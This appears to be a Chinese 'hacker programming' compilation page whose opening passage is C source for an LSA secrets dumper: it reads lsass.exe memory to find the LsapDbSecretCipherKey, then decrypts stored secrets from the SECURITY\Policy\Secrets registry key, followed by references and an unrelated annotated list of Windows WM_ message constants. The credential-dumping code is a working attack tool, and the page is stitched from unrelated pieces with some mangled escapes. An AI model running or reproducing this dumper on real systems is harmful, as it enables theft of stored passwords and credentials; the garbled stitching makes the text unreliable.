#define FCHK(a) if (!(a)) {printf(#a " failed %dn", GetLastError()); return
0;}
typedef struct _LSA_BLOB {
DWORD cbData;
DWORD
        cbMaxData;
BYTE* pbData;
} LSA_BLOB;

typedef int (WINAPI *PSystemFunction005)(
LSA_BLOB* pDataIn,
LSA_BLOB* pDataKey,
LSA_BLOB* pDataOut
);
PSystemFunction005 SystemFunction005;
DWORD dwFlag=0;
//来自lsadump2中的dumplsa.c
int myisprint
        (int ch)
{
return ((ch >= ' ') &&
        (ch <= '~'));
}
//来自lsadump2中的dumplsa.c
void
dump_bytes (unsigned char *p, size_t sz)
{
char szDumpBuff[256];
if(sz==0)
return;
    while (sz > 16) {
_snprintf (szDumpBuff,
        sizeof (szDumpBuff),
" %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X
%02X
        %02X %02X %02X   %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%cn",
p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],
p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15],
myisprint(p[0]) ? p[0] : '.',
myisprint(p[1]) ? p[1] : '.',
myisprint(p[2]) ? p[2] : '.',
myisprint(p[3]) ? p[3] : '.',
myisprint(p[4]) ? p[4] : '.',
myisprint(p[5]) ? p[5] : '.',
myisprint(p[6]) ? p[6] : '.',
myisprint(p[7]) ? p[7] : '.',
myisprint(p[8]) ? p[8] : '.',
myisprint(p[9]) ? p[9] : '.',
myisprint(p[10]) ? p[10] : '.',
myisprint(p[11]) ? p[11] : '.',
myisprint(p[12]) ? p[12] : '.',
myisprint(p[13]) ? p[13] : '.',
myisprint(p[14]) ? p[14] : '.',
myisprint(p[15]) ? p[15] : '.');
printf ("%s",
        szDumpBuff);
p+=16;
sz -= 16;
}
    if (sz) {
char buf[17];
int i = 0;
int j = 16 - sz;
memset (buf, 0, sizeof
        (buf));
szDumpBuff[0] =
        0;
while (sz--) {
_snprintf (szDumpBuff+strlen (szDumpBuff),
sizeof (szDumpBuff) - strlen (szDumpBuff),
" %02X", *p);
if (myisprint (*p))
buf[i++] = *p;
else
buf[i++] = '.';
p++;
}
_snprintf
        (szDumpBuff+strlen (szDumpBuff),
sizeof (szDumpBuff)-strlen (szDumpBuff),
"%*s%sn", j*3 + 2, "", buf);
printf ("%s",
        szDumpBuff);
}
}
DWORD search_LsapDbSecretCipherKey(BYTE
        **ppKey, DWORD pid)
{
HANDLE     hLsass, hLsasrv;
DWORD     dwRead, i, dwAddr;
BYTE     *pImage = NULL;
MODULEINFO     mod;
BOOL     bRet = FALSE;
DWORD     dwCount = 0, dwMaxCount=100;
FCHK ( (hLsasrv = LoadLibrary("lsasrv.dll")) );
FCHK ( GetModuleInformation(GetCurrentProcess(), (HMODULE)hLsasrv,
&mod, sizeof(mod)) );
FCHK ( hLsass = OpenProcess(PROCESS_VM_READ, FALSE, pid) );
pImage = (BYTE*)malloc(mod.SizeOfImage);
ReadProcessMemory(hLsass, (BYTE*)hLsasrv,
pImage, mod.SizeOfImage-0x10, &dwRead);
    *ppKey =
        (BYTE*)malloc(dwMaxCount*0x10);

__try
{
for(i=0;i<mod.SizeOfImage;i++)
{
if( memcmp(&pImage, "x10x00x00x00x10x00x00x00", 8) == 0)
{
dwAddr = *(DWORD *)(&pImage[i+8]);
if( ReadProcessMemory(hLsass, (LPCVOID)dwAddr,
&(*ppKey[dwCount*0x10]), 0x10, &dwRead) )
{
dwCount++;
}
}
}//end of for
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return dwCount;
}
return dwCount;
}
int main(int argc, char **argv)
{
int ret,i,j;
HMODULE
        hAdvApi32;
HKEY hKeySecrets;
HKEY hKey;
DWORD dwType;
char Data[0x500] = {0};
BYTE     *pKey;
DWORD dwSize;
LSA_BLOB LSADataIn;
LSA_BLOB LSADataOut;
LSA_BLOB LSADataKey;
char szSecret[500];
char
        szSubKey[0x500];
DWORD dwErr, dwCount=0;
if(argc!=2)
{
printf("Usage: %s <pid of lsass.exe>n", argv[0]);
return 0;
}

FCHK ((hAdvApi32 = LoadLibrary("advapi32.dll")));
FCHK ((SystemFunction005 = (PSystemFunction005)
GetProcAddress (hAdvApi32, "SystemFunction005")) != NULL);

FCHK ((RegOpenKeyEx (HKEY_LOCAL_MACHINE,
"SECURITY\Policy\Secrets",
0, KEY_READ, &hKeySecrets) == ERROR_SUCCESS))
FCHK ( ( dwCount = search_LsapDbSecretCipherKey(&pKey, atoi(argv[1])) ) != 0
);
printf("Search "LsapDbSecretCipherKey" return: %dn", dwCount);
for(j=0;j<dwCount;j++)
{
printf("LsapDbSecretCipherKey [%d]n", j);
dump_bytes(&pKey[j*0x10], 0x10);
LSADataKey.cbData = LSADataKey.cbMaxData = 0x10;
LSADataKey.pbData = &pKey[j*0x10];
        //search our target
for
        (i=0; TRUE; i++)
{
dwErr = RegEnumKeyA (hKeySecrets, i, szSecret, sizeof (szSecret));
if (dwErr != ERROR_SUCCESS)
//
// No More Secrets
//
break;
printf("n%sn", szSecret);
//open it
_snprintf(szSubKey, sizeof(szSubKey),
"SECURITY\Policy\Secrets\%s\CurrVal", szSecret);
if (ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
szSubKey,
0,
KEY_READ,
&hKey
) != ERROR_SUCCESS )
continue;
dwSize = sizeof(Data);
FCHK ((ret = RegQueryValueEx(hKey,
"",
NULL,
&dwType,
(LPBYTE)Data,
&dwSize) == ERROR_SUCCESS ))
LSADataIn.pbData = (BYTE *)Data + 0xC; //密文从第0xC位开始
LSADataIn.cbData = dwSize-0xC;
LSADataIn.cbMaxData = LSADataIn.cbData;
//dump_bytes(LSADataIn.pbData, LSADataIn.cbData);
LSADataOut.cbData = 0;
LSADataOut.cbMaxData = 0;
LSADataOut.pbData = NULL;
SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut);
if (LSADataOut.cbData == 0)
{
printf("nulln");
continue;
}
FCHK ((LSADataOut.pbData = (BYTE*)malloc(LSADataOut.cbData) ) !=
NULL);
LSADataOut.cbMaxData = LSADataOut.cbData;
SystemFunction005(&LSADataIn, &LSADataKey, &LSADataOut);
dump_bytes(LSADataOut.pbData, LSADataOut.cbData);
free(LSADataOut.pbData);
}//end of for
printf("Press any key to use next "LsapDbSecretCipherKey", or Ctrl+C
to exit.n");
getchar();
}
if(pKey)
free(pKey);
return 0;
}

-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=
参考资源：
[1] http://www.lwteam.ru/modules/news/article.php?storyid=167
2003-06-24 by Cmeptb
[2] http://www.wasm.ru/forum/index.php?action=vthread&forum=12&topic=4873
2004-01-10 by ??
[3] http://homepage2.nifty.com/spw/software/rtrick/
2004-01-05 by ???
[4] SAM的散列存储加密解密算法以及SYSKEY的计算
http://www.xfocus.net/articles/200306/550.html
2003-06-04 by flashsky at xfocus.org


Windows消息大全使用详解

这东西很有用...
先放这有需要的时侯来看.....
消息，就是指Windows发出的一个通知，告诉应用程序某个事情发生了。例如，单击鼠标、改
变窗口尺寸、按下键盘上的一个键都会使Windows发送一个消息给应用程序。消息本身是作为
一个记录传递给应用程序的，这个记录中包含了消息的类型以及其他信息。例如，对于单击鼠
标所产生的消息来说，这个记录中包含了单击鼠标时的坐标。这个记录类型叫做TMsg，
它在Windows单元中是这样声明的：
type
TMsg = packed record
hwnd: HWND; / /窗口句柄
message: UINT; / /消息常量标识符
wParam: WPARAM ; // 32位消息的特定附加信息
lParam: LPARAM ; // 32位消息的特定附加信息
time: DWORD; / /消息创建时的时间
pt: TPoint; / /消息创建时的鼠标位置
end;
消息中有什么？
是否觉得一个消息记录中的信息像希腊语一样？如果是这样，那么看一看下面的解释：
hwnd 32位的窗口句柄。窗口可以是任何类型的屏幕对象，因为Win32能够维护大多数可视对象
的句柄(窗口、对话框、按钮、编辑框等)。
message 用于区别其他消息的常量值，这些常量可以是Windows单元中预定义的常量，也可以
是自定义的常量。
wParam 通常是一个与消息有关的常量值，也可能是窗口或控件的句柄。
lParam 通常是一个指向内存中数据的指针。由于W P a r a m、l P a r a m和P o i n t e r
都是3 2位的，
因此，它们之间可以相互转换。
WM_NULL = $0000;
WM_CREATE = $0001;
应用程序创建一个窗口
WM_DESTROY = $0002;
一个窗口被销毁
WM_MOVE = $0003;
移动一个窗口
WM_SIZE = $0005;
改变一个窗口的大小
WM_ACTIVATE = $0006;
一个窗口被激活或失去激活状态；
WM_SETFOCUS = $0007;
获得焦点后
WM_KILLFOCUS = $0008;
失去焦点
WM_ENABLE = $000A;
改变enable状态
WM_SETREDRAW = $000B;
设置窗口是否能重画
WM_SETTEXT = $000C;
应用程序发送此消息来设置一个窗口的文本
WM_GETTEXT = $000D;
应用程序发送此消息来复制对应窗口的文本到缓冲区
WM_GETTEXTLENGTH = $000E;
得到与一个窗口有关的文本的长度（不包含空字符）
WM_PAINT = $000F;
要求一个窗口重画自己
WM_CLOSE = $0010;
当一个窗口或应用程序要关闭时发送一个信号
WM_QUERYENDSESSION = $0011;
当用户选择结束对话框或程序自己调用ExitWindows函数
WM_QUIT = $0012;
用来结束程序运行或当程序调用postquitmessage函数
WM_QUERYOPEN = $0013;
当用户窗口恢复以前的大小位置时，把此消息发送给某个图标
WM_ERASEBKGND = $0014;
当窗口背景必须被擦除时（例在窗口改变大小时）
WM_SYSCOLORCHANGE = $0015;
当系统颜色改变时，发送此消息给所有顶级窗口
WM_ENDSESSION = $0016;
当系统进程发出WM_QUERYENDSESSION消息后，此消息发送给应用程序，
通知它对话是否结束
WM_SYSTEMERROR = $0017;
WM_SHOWWINDOW = $0018;
当隐藏或显示窗口是发送此消息给这个窗口
WM_ACTIVATEAPP = $001C;
发此消息给应用程序哪个窗口是激活的，哪个是非激活的；
WM_FONTCHANGE = $001D;
当系统的字体资源库变化时发送此消息给所有顶级窗口
WM_TIMECHANGE = $001E;
当系统的时间变化时发送此消息给所有顶级窗口
WM_CANCELMODE = $001F;
发送此消息来取消某种正在进行的摸态（操作）
WM_SETCURSOR = $0020;
如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时，就发消息给某个窗口
WM_MOUSEACTIVATE = $0021;
当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口
WM_CHILDACTIVATE = $0022;
发送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小
WM_QUEUESYNC = $0023;
此消息由基于计算机的训练程序发送，通过WH_JOURNALPALYBACK的hook程序
分离出用户输入消息
WM_GETMINMAXINFO = $0024;
此消息发送给窗口当它将要改变大小或位置；
WM_PAINTICON = $0026;
发送给最小化窗口当它图标将要被重画
WM_ICONERASEBKGND = $0027;
此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画
WM_NEXTDLGCTL = $0028;
发送此消息给一个对话框程序去更改焦点位置
WM_SPOOLERSTATUS = $002A;
每当打印管理列队增加或减少一条作业时发出此消息
WM_DRAWITEM = $002B;
当button，combobox，listbox，menu的可视外观改变时发送
此消息给这些空件的所有者
WM_MEASUREITEM = $002C;
当button, combo box, list box, list view control, or menu item 被创建时
发送此消息给控件的所有者
WM_DELETEITEM = $002D;
当the list box 或 combo box 被销毁 或 当 某些项被删除通过LB_DELETESTRING,
LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT 消息
WM_VKEYTOITEM = $002E;
此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息
WM_CHARTOITEM = $002F;
此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息
WM_SETFONT = $0030;
当绘制文本时程序发送此消息得到控件要用的颜色
WM_GETFONT = $0031;
应用程序发送此消息得到当前控件绘制文本的字体
WM_SETHOTKEY = $0032;
应用程序发送此消息让一个窗口与一个热键相关连
WM_GETHOTKEY = $0033;
应用程序发送此消息来判断热键与某个窗口是否有关联
WM_QUERYDRAGICON = $0037;
此消息发送给最小化窗口，当此窗口将要被拖放而它的类中没有定义图标，应用程序能返回一
个图标或光标的句柄，当用户拖放图标时系统显示这个图标或光标
WM_COMPAREITEM = $0039;
发送此消息来判定combobox或listbox新增加的项的相对位置
WM_GETOBJECT = $003D;
WM_COMPACTING = $0041;
显示内存已经很少了
WM_WINDOWPOSCHANGING = $0046;
发送此消息给那个窗口的大小和位置将要被改变时，来调用setwindowpos函数或其它窗口管理
函数
WM_WINDOWPOSCHANGED = $0047;
发送此消息给那个窗口的大小和位置已经被改变时，来调用setwindowpos函数或其它窗口管理
函数
WM_POWER = $0048;（适用于16位的windows）
当系统将要进入暂停状态时发送此消息
WM_COPYDATA = $004A;
当一个应用程序传递数据给另一个应用程序时发送此消息
WM_CANCELJOURNAL = $004B;
当某个用户取消程序日志激活状态，提交此消息给程序
WM_NOTIFY = $004E;
当某个控件的某个事件已经发生或这个控件需要得到一些信息时，发送此消息给它的父窗口
WM_INPUTLANGCHANGEREQUEST = $0050;
当用户选择某种输入语言，或输入语言的热键改变
WM_INPUTLANGCHANGE = $0051;
当平台现场已经被改变后发送此消息给受影响的最顶级窗口
WM_TCARD = $0052;
当程序已经初始化windows帮助例程时发送此消息给应用程序
WM_HELP = $0053;
此消息显示用户按下了F1，如果某个菜单是激活的，就发送此消息个此窗口关联的菜单，否则
就
发送给有焦点的窗口，如果当前都没有焦点，就把此消息发送给当前激活的窗口
WM_USERCHANGED = $0054;
当用户已经登入或退出后发送此消息给所有的窗口，当用户登入或退出时系统更新用户的具体
设置信息，在用户更新设置时系统马上发送此消息；
WM_NOTIFYFORMAT = $0055;
公用控件，自定义控件和他们的父窗口通过此消息来判断控件是使用ANSI还是UNICODE结构
在WM_NOTIFY消息，使用此控件能使某个控件与它的父控件之间进行相互通信
WM_CONTEXTMENU = $007B;
当用户某个窗口中点击了一下右键就发送此消息给这个窗口
WM_STYLECHANGING = $007C;
当调用SETWINDOWLONG函数将要改变一个或多个 窗口的风格时发送此消息给那个窗口
WM_STYLECHANGED = $007D;
当调用SETWINDOWLONG函数一个或多个 窗口的风格后发送此消息给那个窗口
WM_DISPLAYCHANGE = $007E;
当显示器的分辨率改变后发送此消息给所有的窗口
WM_GETICON = $007F;
此消息发送给某个窗口来返回与某个窗口有关连的大图标或小图标的句柄；
WM_SETICON = $0080;
程序发送此消息让一个新的大图标或小图标与某个窗口关联；
WM_NCCREATE = $0081;
当某个窗口第一次被创建时，此消息在WM_CREATE消息发送前发送；
WM_NCDESTROY = $0082;
此消息通知某个窗口，非客户区正在销毁
WM_NCCALCSIZE = $0083;
当某个窗口的客户区域必须被核算时发送此消息
WM_NCHITTEST = $0084;//移动鼠标，按住或释放鼠标时发生
WM_NCPAINT = $0085;
程序发送此消息给某个窗口当它（窗口）的框架必须被绘制时；
WM_NCACTIVATE = $0086;
此消息发送给某个窗口 仅当它的非客户区需要被改变来显示是激活还是非激活状态；
WM_GETDLGCODE = $0087;
发送此消息给某个与对话框程序关联的控件，widdows控制方位键和TAB键使输入进入此控件
通过响应WM_GETDLGCODE消息，应用程序可以把他当成一个特殊的输入控件并能处理它
WM_NCMOUSEMOVE = $00A0;
当光标在一个窗口的非客户区内移动时发送此消息给这个窗口 //非客户区为：窗体的标题栏
及窗
的边框体
WM_NCLBUTTONDOWN = $00A1;
当光标在一个窗口的非客户区同时按下鼠标左键时提交此消息
WM_NCLBUTTONUP = $00A2;
当用户释放鼠标左键同时光标某个窗口在非客户区十发送此消息；
WM_NCLBUTTONDBLCLK = $00A3;
当用户双击鼠标左键同时光标某个窗口在非客户区十发送此消息
WM_NCRBUTTONDOWN = $00A4;
当用户按下鼠标右键同时光标又在窗口的非客户区时发送此消息
WM_NCRBUTTONUP = $00A5;
当用户释放鼠标右键同时光标又在窗口的非客户区时发送此消息
WM_NCRBUTTONDBLCLK = $00A6;
当用户双击鼠标右键同时光标某个窗口在非客户区十发送此消息
WM_NCMBUTTONDOWN = $00A7;
当用户按下鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_NCMBUTTONUP = $00A8;
当用户释放鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_NCMBUTTONDBLCLK = $00A9;
当用户双击鼠标中键同时光标又在窗口的非客户区时发送此消息
WM_KEYFIRST = $0100;
WM_KEYDOWN = $0100;
//按下一个键
WM_KEYUP = $0101;
//释放一个键
WM_CHAR = $0102;
//按下某键，并已发出WM_KEYDOWN， WM_KEYUP消息
WM_DEADCHAR = $0103;
当用translatemessage函数翻译WM_KEYUP消息时发送此消息给拥有焦点的窗口
WM_SYSKEYDOWN = $0104;
当用户按住ALT键同时按下其它键时提交此消息给拥有焦点的窗口；
WM_SYSKEYUP = $0105;
当用户释放一个键同时ALT 键还按着时提交此消息给拥有焦点的窗口
WM_SYSCHAR = $0106;
当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后提交此消息给拥有焦点的窗口
WM_SYSDEADCHAR = $0107;
当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后发送此消息给拥有焦点的窗口
WM_KEYLAST = $0108;
WM_INITDIALOG = $0110;
在一个对话框程序被显示前发送此消息给它，通常用此消息初始化控件和执行其它任务
WM_COMMAND = $0111;
当用户选择一条菜单命令项或当某个控件发送一条消息给它的父窗口，一个快捷键被翻译
WM_SYSCOMMAND = $0112;
当用户选择窗口菜单的一条命令或当用户选择最大化或最小化时那个窗口会收到此消息
WM_TIMER = $0113; //发生了定时器事件
WM_HSCROLL = $0114;
当一个窗口标准水平滚动条产生一个滚动事件时发送此消息给那个窗口，也发送给拥有它的控
件
WM_VSCROLL = $0115;
当一个窗口标准垂直滚动条产生一个滚动事件时发送此消息给那个窗口也，发送给拥有它的控
件 WM_INITMENU = $0116;
当一个菜单将要被激活时发送此消息，它发生在用户菜单条中的某项或按下某个菜单键，它允
许程序在显示前更改菜单
WM_INITMENUPOPUP = $0117;
当一个下拉菜单或子菜单将要被激活时发送此消息，它允许程序在它显示前更改菜单，而不要
改变全部
WM_MENUSELECT = $011F;
当用户选择一条菜单项时发送此消息给菜单的所有者（一般是窗口）
WM_MENUCHAR = $0120;
当菜单已被激活用户按下了某个键（不同于加速键），发送此消息给菜单的所有者；
WM_ENTERIDLE = $0121;
当一个模态对话框或菜单进入空载状态时发送此消息给它的所有者，一个模态对话框或菜单进
入空载状态就是在处理完一条或几条先前的消息后没有消息它的列队中等待
WM_MENURBUTTONUP = $0122;
WM_MENUDRAG = $0123;
WM_MENUGETOBJECT = $0124;
WM_UNINITMENUPOPUP = $0125;
WM_MENUCOMMAND = $0126;
WM_CHANGEUISTATE = $0127;
WM_UPDATEUISTATE = $0128;
WM_QUERYUISTATE = $0129;
WM_CTLCOLORMSGBOX = $0132;
在windows绘制消息框前发送此消息给消息框的所有者窗口，通过响应这条消息，所有者窗口
可以通过使用给定的相关显示设备的句柄来设置消息框的文本和背景颜色
WM_CTLCOLOREDIT = $0133;
当一个编辑型控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可
以通过使用给定的相关显示设备的句柄来设置编辑框的文本和背景颜色
WM_CTLCOLORLISTBOX = $0134;
当一个列表框控件将要被绘制前发送此消息给它的父窗口；通过响应这条消息，所有者窗口可
以通过使用给定的相关显示设备的句柄来设置列表框的文本和背景颜色
WM_CTLCOLORBTN = $0135;
当一个按钮控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以
通过使用给定的相关显示设备的句柄来设置按纽的文本和背景颜色
WM_CTLCOLORDLG = $0136;
当一个对话框控件将要被绘制前发送此消息给它的父窗口；通过响应这条消息，所有者窗口可
以通过使用给定的相关显示设备的句柄来设置对话框的文本背景颜色
WM_CTLCOLORSCROLLBAR= $0137;
当一个滚动条控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可
以通过使用给定的相关显示设备的句柄来设置滚动条的背景颜色
WM_CTLCOLORSTATIC = $0138;
当一个静态控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以
通过使用给定的相关显示设备的句柄来设置静态控件的文本和背景颜色
WM_MOUSEFIRST = $0200;
WM_MOUSEMOVE = $0200;
// 移动鼠标
WM_LBUTTONDOWN = $0201;
//按下鼠标左键
WM_LBUTTONUP = $0202;
//释放鼠标左键
WM_LBUTTONDBLCLK = $0203;
//双击鼠标左键
WM_RBUTTONDOWN = $0204;
//按下鼠标右键
WM_RBUTTONUP = $0205;
//释放鼠标右键
WM_RBUTTONDBLCLK = $0206;
//双击鼠标右键
WM_MBUTTONDOWN = $0207;
//按下鼠标中键
WM_MBUTTONUP = $0208;
//释放鼠标中键
WM_MBUTTONDBLCLK = $0209;
//双击鼠标中键
WM_MOUSEWHEEL = $020A;
当鼠标轮子转动时发送此消息个当前有焦点的控件
WM_MOUSELAST = $020A;
WM_PARENTNOTIFY = $0210;
当MDI子窗口被创建或被销毁，或用户按了一下鼠标键而光标在子窗口上时发送此消息给它的
父窗口
WM_ENTERMENULOOP = $0211;
发送此消息通知应用程序的主窗口that已经进入了菜单循环模式
WM_EXITMENULOOP = $0212;
发送此消息通知应用程序的主窗口that已退出了菜单循环模式
WM_NEXTMENU = $0213;
WM_SIZING = 532;
当用户正在调整窗口大小时发送此消息给窗口；通过此消息应用程序可以监视窗口大小和位置
也可以修改他们
WM_CAPTURECHANGED = 533;
发送此消息 给窗口当它失去捕获的鼠标时；
WM_MOVING = 534;
当用户在移动窗口时发送此消息，通过此消息应用程序可以监视窗口大小和位置也可以修改他
们；
WM_POWERBROADCAST = 536;
此消息发送给应用程序来通知它有关电源管理事件；
WM_DEVICECHANGE = 537;
当设备的硬件配置改变时发送此消息给应用程序或设备驱动程序
WM_IME_STARTCOMPOSITION = $010D;
WM_IME_ENDCOMPOSITION = $010E;
WM_IME_COMPOSITION = $010F;
WM_IME_KEYLAST = $010F;
WM_IME_SETCONTEXT = $0281;
WM_IME_NOTIFY = $0282;
WM_IME_CONTROL = $0283;
WM_IME_COMPOSITIONFULL = $0284;
WM_IME_SELECT = $0285;
WM_IME_CHAR = $0286;
WM_IME_REQUEST = $0288;
WM_IME_KEYDOWN = $0290;
WM_IME_KEYUP = $0291;
WM_MDICREATE = $0220;
应用程序发送此消息给多文档的客户窗口来创建一个MDI 子窗口
WM_MDIDESTROY = $0221;
应用程序发送此消息给多文档的客户窗口来关闭一个MDI 子窗口
WM_MDIACTIVATE = $0222;
应用程序发送此消息给多文档的客户窗口通知客户窗口激活另一个MDI子窗口，当客户窗口收
到此消息后，它发出WM_MDIACTIVE消息给MDI子窗口（未激活）激活它；
WM_MDIRESTORE = $0223;
程序 发送此消息给MDI客户窗口让子窗口从最大最小化恢复到原来大小
WM_MDINEXT = $0224;
程序 发送此消息给MDI客户窗口激活下一个或前一个窗口
WM_MDIMAXIMIZE = $0225;
程序发送此消息给MDI客户窗口来最大化一个MDI子窗口；
WM_MDITILE = $0226;
程序 发送此消息给MDI客户窗口以平铺方式重新排列所有MDI子窗口
WM_MDICASCADE = $0227;
程序 发送此消息给MDI客户窗口以层叠方式重新排列所有MDI子窗口
WM_MDIICONARRANGE = $0228;
程序 发送此消息给MDI客户窗口重新排列所有最小化的MDI子窗口
WM_MDIGETACTIVE = $0229;
程序 发送此消息给MDI客户窗口来找到激活的子窗口的句柄
WM_MDISETMENU = $0230;
程序 发送此消息给MDI客户窗口用MDI菜单代替子窗口的菜单
WM_ENTERSIZEMOVE = $0231;
WM_EXITSIZEMOVE = $0232;
WM_DROPFILES = $0233;
WM_MDIREFRESHMENU = $0234;
WM_MOUSEHOVER = $02A1;
WM_MOUSELEAVE = $02A3;
WM_CUT = $0300;
程序发送此消息给一个编辑框或combobox来删除当前选择的文本
WM_COPY = $0301;
程序发送此消息给一个编辑框或combobox来复制当前选择的文本到剪贴板
WM_PASTE = $0302;
程序发送此消息给editcontrol或combobox从剪贴板中得到数据
WM_CLEAR = $0303;
程序发送此消息给editcontrol或combobox清除当前选择的内容；
WM_UNDO = $0304;
程序发送此消息给editcontrol或combobox撤消最后一次操作
WM_RENDERFORMAT = $0305；
WM_RENDERALLFORMATS = $0306;
WM_DESTROYCLIPBOARD = $0307;
当调用ENPTYCLIPBOARD函数时 发送此消息给剪贴板的所有者
WM_DRAWCLIPBOARD = $0308;
当剪贴板的内容变化时发送此消息给剪贴板观察链的第一个窗口；它允许用剪贴板观察窗口来
显示剪贴板的新内容；
WM_PAINTCLIPBOARD = $0309;
当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区需要重画；
WM_VSCROLLCLIPBOARD = $030A;
WM_SIZECLIPBOARD = $030B;
当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区域的大小已经改变是此
消息通过剪贴板观察窗口发送给剪贴板的所有者；
WM_ASKCBFORMATNAME = $030C;
通过剪贴板观察窗口发送此消息给剪贴板的所有者来请求一个CF_OWNERDISPLAY格式的剪贴板
的名字
WM_CHANGECBCHAIN = $030D;
当一个窗口从剪贴板观察链中移去时发送此消息给剪贴板观察链的第一个窗口；
WM_HSCROLLCLIPBOARD = $030E;
此消息通过一个剪贴板观察窗口发送给剪贴板的所有者
；它发生在当剪贴板包含CFOWNERDISPALY格式的数据并且有个事件在剪贴板观察窗的水平滚动
条上；所有者应滚动剪贴板图象并更新滚动条的值；
WM_QUERYNEWPALETTE = $030F;
此消息发送给将要收到焦点的窗口，此消息能使窗口在收到焦点时同时有机会实现他的逻辑调
色板
WM_PALETTEISCHANGING= $0310;
当一个应用程序正要实现它的逻辑调色板时发此消息通知所有的应用程序
WM_PALETTECHANGED = $0311;
此消息在一个拥有焦点的窗口实现它的逻辑调色板后发送此消息给所有顶级并重叠的窗口，以
此来改变系统调色板
WM_HOTKEY = $0312;
当用户按下由REGISTERHOTKEY函数注册的热键时提交此消息
WM_PRINT = 791;
应用程序发送此消息仅当WINDOWS或其它应用程序发出一个请求要求绘制一个应用程序的一部
分；
WM_PRINTCLIENT = 792;
WM_HANDHELDFIRST = 856;
WM_HANDHELDLAST = 863;
WM_PENWINFIRST = $0380;
WM_PENWINLAST = $038F;
WM_COALESCE_FIRST = $0390;
WM_COALESCE_LAST = $039F;
WM_DDE_FIRST = $03E0;
WM_DDE_INITIATE = WM_DDE_FIRST + 0;
一个DDE客户程序提交此消息开始一个与服务器程序的会话来响应那个指定的程序和主题名；
WM_DDE_TERMINATE = WM_DDE_FIRST + 1;
一个DDE应用程序（无论是客户还是服务器）提交此消息来终止一个会话；
WM_DDE_ADVISE = WM_DDE_FIRST + 2;
一个DDE客户程序提交此消息给一个DDE服务程序来请求服务器每当数据项改变时更新它
WM_DDE_UNADVISE = WM_DDE_FIRST + 3;
一个DDE客户程序通过此消息通知一个DDE服务程序不更新指定的项或一个特殊的剪贴板格式的
项
WM_DDE_ACK = WM_DDE_FIRST + 4;
此消息通知一个DDE（动态数据交换）程序已收到并正在处理WM_DDE_POKE, WM_DDE_EXECUTE,
WM_DDE_DATA, WM_DDE_ADVISE, WM_DDE_UNADVISE, or WM_DDE_INITIAT消息
WM_DDE_DATA = WM_DDE_FIRST + 5;
一个DDE服务程序提交此消息给DDE客户程序来传递个一数据项给客户或通知客户的一条可用数
据项
WM_DDE_REQUEST = WM_DDE_FIRST + 6;
一个DDE客户程序提交此消息给一个DDE服务程序来请求一个数据项的值；
WM_DDE_POKE = WM_DDE_FIRST + 7;
一个DDE客户程序提交此消息给一个DDE服务程序，客户使用此消息来请求服务器接收一个未经
同意的数据项；服务器通过答复WM_DDE_ACK消息提示是否它接收这个数据项；
WM_DDE_EXECUTE = WM_DDE_FIRST + 8;
一个DDE客户程序提交此消息给一个DDE服务程序来发送一个字符串给服务器让它象串行命令一
样被处理，服务器通过提交WM_DDE_ACK消息来作回应；
WM_DDE_LAST = WM_DDE_FIRST + 8;
WM_APP = $8000;
WM_USER = $0400;
此消息能帮助应用程序自定义私有消息；
/////////////////////////////////////////////////////////////////////
通知消息(Notification message)是指这样一种消息，一个窗口内的子控件发生了一些事情，
需要通知父窗口。通知消息只适用于标准的窗口控件如按钮、列表框、组合框、编辑框，以及
Windows 95公共控件如树状视图、列表视图等。例如，单击或双击一个控件、在控件中选择部
分文本、操作控件的滚动条都会产生通知消息。
按扭
B N _ C L I C K E D //用户单击了按钮
B N _ D I S A B L E //按钮被禁止
B N _ D O U B L E C L I C K E D //用户双击了按钮
B N _ H I L I T E //用户加亮了按钮
B N _ PA I N T按钮应当重画
B N _ U N H I L I T E加亮应当去掉
组合框
C B N _ C L O S E U P组合框的列表框被关闭
C B N _ D B L C L K用户双击了一个字符串
C B N _ D R O P D O W N组合框的列表框被拉出
C B N _ E D I T C H A N G E用户修改了编辑框中的文本
C B N _ E D I T U P D AT E编辑框内的文本即将更新
C B N _ E R R S PA C E组合框内存不足
C B N _ K I L L F O C U S组合框失去输入焦点
C B N _ S E L C H A N G E在组合框中选择了一项
C B N _ S E L E N D C A N C E L用户的选择应当被取消
C B N _ S E L E N D O K用户的选择是合法的
C B N _ S E T F O C U S组合框获得输入焦点
编辑框
E N _ C H A N G E编辑框中的文本己更新
E N _ E R R S PA C E编辑框内存不足
E N _ H S C R O L L用户点击了水平滚动条
E N _ K I L L F O C U S编辑框正在失去输入焦点
E N _ M A X T E X T插入的内容被截断
E N _ S E T F O C U S编辑框获得输入焦点
E N _ U P D AT E编辑框中的文本将要更新
E N _ V S C R O L L用户点击了垂直滚动条消息含义
列表框
L B N _ D B L C L K用户双击了一项
L B N _ E R R S PA C E列表框内存不够
L B N _ K I L L F O C U S列表框正在失去输入焦点
L B N _ S E L C A N C E L选择被取消
L B N _ S E L C H A N G E选择了另一项
L B N _ S E T F O C U S列表框获得输入焦点


黑客编程经典代码
